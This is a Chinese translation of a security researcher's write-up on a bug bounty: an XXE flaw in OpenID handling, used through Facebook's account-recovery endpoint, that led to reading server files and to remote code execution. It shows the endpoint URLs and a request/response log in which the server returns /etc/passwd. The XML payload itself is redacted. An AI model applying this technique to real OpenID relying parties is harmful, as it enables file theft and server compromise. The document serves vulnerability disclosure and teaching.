大家好!首先我做一下自我介紹。我叫Reginaldo Silva,是一名巴西籍的計算機工程師。最近我的工作與資訊保安有關,尤其是在Web應用程式安全性的方面。如果可以的話,我很樂意給大家演示如何入侵網站和應用程式。我的主頁上有一些相關資訊,歡迎大家瀏覽。
今天,我想講一下我發現一個影響Facebook的遠端漏洞程式碼的過程。正如一般的故事開頭那樣,這一過程也是在很長時間以前就開始了(實際上僅僅是一年多,但我一然感覺很漫長)。如果你覺得這個話題很有趣,或者想讓我幫你在你的(或你公司的)程式碼中做一些有關審查和滲透測試的安全問題,請發郵件給我。我的郵箱是reginaldo@ubercomp.com。
2012年的9月22日對我來說是個特別的日子,因為那天我發現了一個XML外部實體擴充套件(XXE)漏洞,它能影響Drupal管理OpenID的那部分功能。XML外部實體的功能很強大,它能讀檔案系統中的所有檔案,能連線任意網路。如果你想尋求刺激,你可以用billion laughs進行DoS攻擊。
最開始我並沒有在意其他人也存在這樣的漏洞,當我發現時,我立即將其提交到CVE上。這是我的第一個貢獻,所以從那以後我將這條資訊寫在了簡歷上(這條漏洞的編號是CVE-2012-4554)。五天後,我突然想到OpenID的應用很廣,因此,其它地方也可能存在這樣的漏洞。我檢查了一下StackOverflow的登入方式,發現的確存在漏洞,而且可危及整個網站。
然後,我準備查詢谷歌伺服器中的OpenID 程式碼。雖然我無法開啟檔案,無法進行網路連線,但谷歌的應用引擎和部落格平臺都很容易受到DoS攻擊。這個漏洞讓我賺到了第一桶金,大約有500美元。
在向谷歌報告了這個漏洞後,我又測試了幾個例項,最後發現,這個漏洞正在危及許多系統。這裡就不列舉具體內容了,但是用Java, C#, PHP, Ruby, Python, Perl等語言編寫的執行庫或多或少都存在問題。不公佈的原因是因為這些系統實在太脆弱了。一個瞭解安全機制的人可以讀取OpenID 和XML外部實體,然後就能一段惡意程式碼進行攻擊。哎呀,我有些跑題了。
之後我聯絡了一些編寫OpenID庫的開發者,有些作者只把安全列表託管在了OpenID基金會上面,我又給他們發了一篇題為“一個可以掌控一切的漏洞:運用XML外部實體實現 OpenID中的脆弱性”的郵件來說明這一問題。我想大部分庫作者都是列表中的成員,所以補丁將會發給他們每個人。我自以為做得很好了,事實上,我才走了一小步而已。
跟我經常交流的讀者依然有這樣的問題:Facebook的遠端程式碼執行漏洞到底是什麼?它竟然使我們做到這種程度。過去,Facebook使用OpenID進行登入。然而,當我在2012年第一次發現OpenID漏洞的時候,我就找不到任何能進入任意OpenID網址的終結點。以前可以在
1 |
https://www.facebook.com/openid/consumer_helper.php?openid.mode=checkid_setup&user_claimed_id=YOUR_CLAIMED_ID_HERE&context=link&request_id=0&no_extensions=false&third_party_login=fals |
e 動些手腳,現在consumer_helper.php節點已經關閉了。一年後我以為Facebook的安全性有所提高,但我又測試了一下忘記密碼得到了這樣的結果:
1 |
https://www.facebook.com/openid/receiver.php |
那時候我開始懷疑Facebook還是存在一年前我發現的那個漏洞的危害。然後我做了許多測試證明了這個猜想。簡言之,如果你忘記密碼了,你可以向Facebook說明你有一個@gmail.com的郵箱,然後登入自己郵箱後,把自己的資訊提交給Facebook。這實際上是用郵箱登進Facebook的,這種登入方式就是基於OpenID的。到目前為止,一切都進展的不錯,只是我自己遇到了些問題。我知道,由於工作的失誤,OpenID的依賴方需要向已被控制的OpenID提供商(OP)傳送一個Yadis發現請求,比如說http://www.ubercomp.com/。然後我的惡意提供商就會回覆一個惡意的XML,它被依賴方解析,從而遭受XXE攻擊。
因為我沒有干預原始的OpenID請求(Facebook 與 Google之間的直接請求),實際上我沒有機會進入在我控制下的作為OpenID標示符的網址,也沒有讓Facebook傳送Yadis發現請求到這個網站。所以,我想這種錯誤應該不會發生了,除非我能獲取谷歌到Facebook的那段惡意XML,而這種可能性極低。幸運的是,我錯了。在仔細閱讀了OpenID 2.0規範後,第11.2節驗證發現的資訊寫到:
如果宣告的標示符沒有事先告訴依賴方(“openid標識”可以是“http://specs.openid.net/auth/2.0/identifier_select”,或是不同的標示符,或是OP傳送的標識判斷),依賴方必須提出來,以確保該OP有權對聲稱的身份標識做出判斷。
我看了一下,openid標識果真是http://specs.openid.net/auth/2.0/identifier_select。實際上許多系統使用的都是這個。在幾分鐘後,我向 https://www.facebook.com/openid/receiver.php 發了一個請求,它可以讓Facebook向一個被我控制的網站傳送一個Yadis請求。之後會返回包含惡意XML的響應。 當我向Facebook伺服器請求開啟/dev/random,伺服器不會返回響應,而且幾分鐘後請求會失效。即使如此,我還是不能開啟任意檔案。我嘗試了許多XXE,包括各種組合和引數實體,但還是一無所獲。然後我突然意識到在此過程中是存在一些問題的,改正之後……
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 |
$ bash exploit.sh * About to connect() to www.facebook.com port 80 (#0) * Trying 31.13.75.1... connected * Connected to www.facebook.com (31.13.75.1) port 80 (#0) > GET /openid/receiver.php?provider_id=1010459756371 &context=account_recovery&protocol=http&request_id=1 &openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0 &openid.mode=id_res&openid.op_endpoint=...(redacted)... HTTP/1.1 > Host: www.facebook.com > Accept: */* > User-Agent: Chrome > < HTTP/1.1 200 OK < Cache-Control: private, no-cache, no-store, must-revalidate < Expires: Sat, 01 Jan 2000 00:00:00 GMT < P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" < Pragma: no-cache < X-Content-Type-Options: nosniff < X-Frame-Options: DENY < X-XRDS-Location: http://www.facebook.com/openid/xrds.php < X-XSS-Protection: 0 < Set-Cookie: datr=...(redacted)...; expires=Thu, 19-Nov-2015 15:34:24 GMT; path=/; domain=.facebook.com; httponly < Set-Cookie: reg_ext_ref=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com < Set-Cookie: reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fopenid%2Freceiver.php %3Fprovider_id%3D1010459756371%26context%3Daccount_recovery%26protocol%3Dhttp %26request_id%3D1%26openid.ns%3Dhttp%253A%252F%252Fspecs.openid.net%252Fauth %252F2.0%26openid.mode%3Did_res%26openid.op_endpoint%3D...(redacted)...; path=/; domain=.facebook.com < Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fopenid%2Freceiver.php %3Fprovider_id%3D1010459756371%26context%3Daccount_recovery%26protocol%3Dhttp %26request_id%3D1%26openid.ns%3Dhttp%253A%252F%252Fspecs.openid.net%252Fauth %252F2.0%26openid.mode%3Did_res%26openid.op_endpoint%3D...(redacted)...; path=/; domain=.facebook.com < Content-Type: text/html; charset=utf-8 < X-FB-Debug: ...(redacted)... < Date: Tue, 19 Nov 2013 15:34:24 GMT < Transfer-Encoding: chunked < Connection: keep-alive < <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <script> function envFlush(a) { function b(c) { for (var d in a) c[d] = a[d]; } if (window.requireLazy) { window.requireLazy(['Env'], b); } else { Env = window.Env || {}; b(Env); } } envFlush({ "user": "0" }); <title>Facebook</title> <script src="http://static.ak.fbcdn.net/rsrc.php/v2/yR/r/Bx6hq_79BTx.js" crossorigin="anonymous"></script> <script type="text/javascript">window.Bootloader && Bootloader.done(["ASVup"]);</script> </head> <body class="Locale_en_US"> <script type="text/javascript"> Bootloader.setResourceMap({ "\/2NZV": { "type": "js", "crossOrigin": 1, "src": "http:\/\/static.ak.fbcdn.net\/rsrc.php\/v2\/yo\/r\/CAz6i9Uu16e.js" }, "GduTW": { "type": "js", "crossOrigin": 1, "src": "http:\/\/static.ak.fbcdn.net\/rsrc.php\/v2\/yu\/r\/aGXWJInaxrx.js" } }); </script> <script type="text/javascript"> require("InitialJSLoader").loadOnDOMContentReady(["GduTW","\/2NZV"]); </script> <script type="text/javascript"> Bootloader.configurePage([]); Bootloader.done([]); require("InitialJSLoader").handleServerJS({ "require": [ ["OnloadHooks"], ["lowerDomain"] ] }); onloadRegister_DEPRECATED(function () { openid_submit_response({ "__ar": 1, "error": 1428005, "errorSummary": "Error while processing response", "errorDescription": { "__html": " \ There was an error while processing the OpenID response. \ No matching endpoint found after discovering http:\/\/www.ubercomp.com\/...(redacted)... \ <br \/><br \/> OP Endpoint mismatch. Expected http:\/\/www.ubercomp.com\/...(redacted)..., \ got http:\/\/www.ubercomp.com\/...(REDACTED).../?x=\ root:x:0:0:root:\/root:\/bin\/bash\n \ bin:x:1:1:bin:\/bin:\/sbin\/nologin\n \ daemon:x:2:2:daemon:\/sbin:\/sbin\/nologin\n \ adm:x:3:4:adm:\/var\/adm:\/sbin\/nologin\n \ lp:x:4:7:lp:\/var\/spool\/lpd:\/sbin\/nologin\n \ sync:x:5:0:sync:\/sbin:\/bin\/sync\n \ shutdown:x:6:0:shutdown:\/sbin:\/sbin\/shutdown\n \ halt:x:7:0:halt:\/sbin:\/sbin\/halt\n \ mail:x:8:12:mail:\/var\/spool\/mail:\/sbin\/nologin\n \ uucp:x:10:14:uucp:\/var\/spool\/uucp:\/sbin\/nologin\n \ operator:x:11:0:operator:\/root:\/sbin\/nologin\n \ games:x:12:100:games:\/usr\/games:\/sbin\/nologin\n \ gopher:x:13:30:gopher:\/var\/gopher:\/sbin\/nologin\n \ ftp:x:14:50:FTP User:\/var\/ftp:\/sbin\/nologin\n \ nobody:x:99:99:Nobody:\/:\/sbin\/nologin\n \ dbus:x:81:81:System message bus:\/:\/sbin\/nologin\n \ ...(REDACTED)..." }, "payload": null, "bootloadable": {}, "ixData": [] }, 1) }); </script> </body> </html> * Connection #0 to host www.facebook.com left intact * Closing connection #0 |
沒錯,響應中包含了Facebook的/etc/passwd。現在,我們可以隨意訪問了。我覺得我發現了通向王國的道路。通過Facebook 伺服器檢視節點能夠讀取任意檔案和進行網路連線,檢視節點不需要代理,這可是 Facebook不惜高成本建立的。隨後我又有了新想法,覺得應該將其形成一個完整遠端執行程式。
網路中漏洞獎勵計劃是非常好的方式,它也有自己的規則:不管何時發現了漏洞,請不要猶豫。將其按程式提交,安全小組會全面考慮,並向支付相應的報酬。起初,我並不信任 Facebook的安全小組,並且認為他們不會把我提交的漏洞看做是遠端程式碼執行漏洞。我不想造成誤解,所以我決定立即提交,然後我申請了一個許可權進行RCE升級。升級完畢後,它可以正常執行。我想這應該沒什麼問題了。因為大部分漏洞都需要花很長時間來處理,我有足夠的時間升級RCE,同時我覺得我是一個優秀的白帽黑客。在寫完漏洞報告後,我決定出去走走,順便吃個午餐,回來之後繼續工作。
然而,我又錯了,因為這是一個嚴重的漏洞,吃過午飯後,我加快了速度。我把報告發出去不到2個小時,讓我既難忘又難過,但因為我知道如何升級遠端程式碼執行漏洞,我將如何修復告訴了安全小組。當他們測試攻擊是否有效時,我很相信他們給出的結論。我為我的作為而高興。在接到一些反饋和4封郵件後,安全小組確認我的攻擊是安全的,我發現的RCE的確能影響他們的伺服器。
所以這就是攻擊的入口,即我迄今發現的第一個高衝擊漏洞。它大概也是懸賞最高的漏洞之一。另外,我還可以吹牛說我攻入了Facebook……不錯,是吧?順便說一句,安全小組的成員也寫了一篇關於這事的文章。
歡迎加入黑客新聞進行討論。
事件時間點
所有時間以格林威治標準時間。不重要的資訊我就不提了。
- 2013-11-19 15:51: 寫報告
- 2013-11-19 17:37: 安全小組成員Godot感謝我的發現
- 2013-11-19 17:46: 我得到了可以讀任意檔案的答覆
- 2013-11-19 19:31: 安全小組成員 Emrakul通知我短暫的修復將持續30分鐘。
- 2013-11-19 20:27: 我確信漏洞已被修復。
- 2013-11-21 20:03: 獲得酬金。安全小組說這是他們目前支付的最高金額。
- 2013-11-22 2:13: 我發了封郵件,詢問安全小組把漏洞看做是RCE還是僅僅是檔案洩露。
- 2013-11-23 1:17: 安全小組回覆說,他們認為攻擊不能升級到RCE。
- 2013-11-23 19:54: 我解釋說明如何進行升級
- 2013-11-24 21:23: Facebook 回覆說我的攻擊起作用了,他們會進行處理的。
- 2013-12-03 4:45: Facebook 通知我說修復會持續一段時間,他們準備討論一個新的報酬計劃。
- 2013-12-03 19:14: 我雙手交叉,向他們表示感謝。
- 2013-12-13 13:04: 我看到了一篇引自Ryan McGeehan的一篇文章,Ryan負責管理Facebook的事件響應部門,他說“如果有一個價值百萬美元的漏洞,那麼我們願意支付”。然後又詢問了一下他們是否有新訊息。
- 2013-12-30 4:45: Facebook通知我說漏洞已經成為了RCE,所以費用會更高。我不會透漏具體數額,你可以猜一猜,然後說出來。當然我也不會得到一百萬那麼多,我引用McGeehan的話僅僅是為了娛樂一下,不要當真。